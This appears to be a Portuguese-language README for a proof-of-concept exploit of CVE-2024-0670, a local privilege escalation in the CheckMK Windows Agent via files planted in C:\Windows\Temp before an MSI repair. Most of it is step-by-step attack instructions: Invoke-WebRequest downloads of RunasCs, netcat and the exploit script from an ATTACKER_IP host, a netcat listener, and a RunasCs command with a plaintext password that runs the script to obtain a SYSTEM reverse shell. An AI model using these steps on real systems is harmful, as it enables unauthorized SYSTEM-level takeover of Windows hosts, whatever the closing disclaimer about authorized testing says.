
Este repositório contém uma demonstração de exploração para CVE-2024-0670, uma vulnerabilidade de escalação de privilégios local que afeta o CheckMK Agent para Windows. A vulnerabilidade permite que um usuário com baixos privilégios obtenha privilégios de SYSTEM ao abusar de caminhos de arquivo graváveis processados pelo mecanismo de reparo do MSI.
Este repositório contém uma prova de conceito simples e limpa para CVE-2024-0670, uma vulnerabilidade de escalação de privilégio local no CheckMK Windows Agent. Um usuário com privilégios baixos pode obter privilégios de SYSTEM abusando de caminhos de arquivos temporários graváveis executados durante a reparação do MSI.
Durante uma reparação do MSI, o CheckMK executa arquivos em:
C:\Windows\Temp\
Se um usuário normal puder colocar arquivos lá com nomes previsíveis, ele pode executar comandos como NT AUTHORITY\SYSTEM.
Este exploit semeia vários nomes de arquivos payload e aciona a reparação do MSI para obter execução como SYSTEM.
RunasCs.exe → runas replacement (plaintext password support)
nc.exe → Netcat (reverse shell)
exploit.ps1 → CVE-2024-0670 exploit script
README.md → documentation
C:\Windows\Temp\
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1
Inicie um listener na sua máquina:
nc -lvnp 1111
.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"
Se bem-sucedido, você receberá um shell reverso como SYSTEM.
net4:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
net2:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs
Este projeto é apenas para testes de penetração educacionais e autorizados. Não o utilize para fins ilegais. O autor não é responsável pelo uso indevido.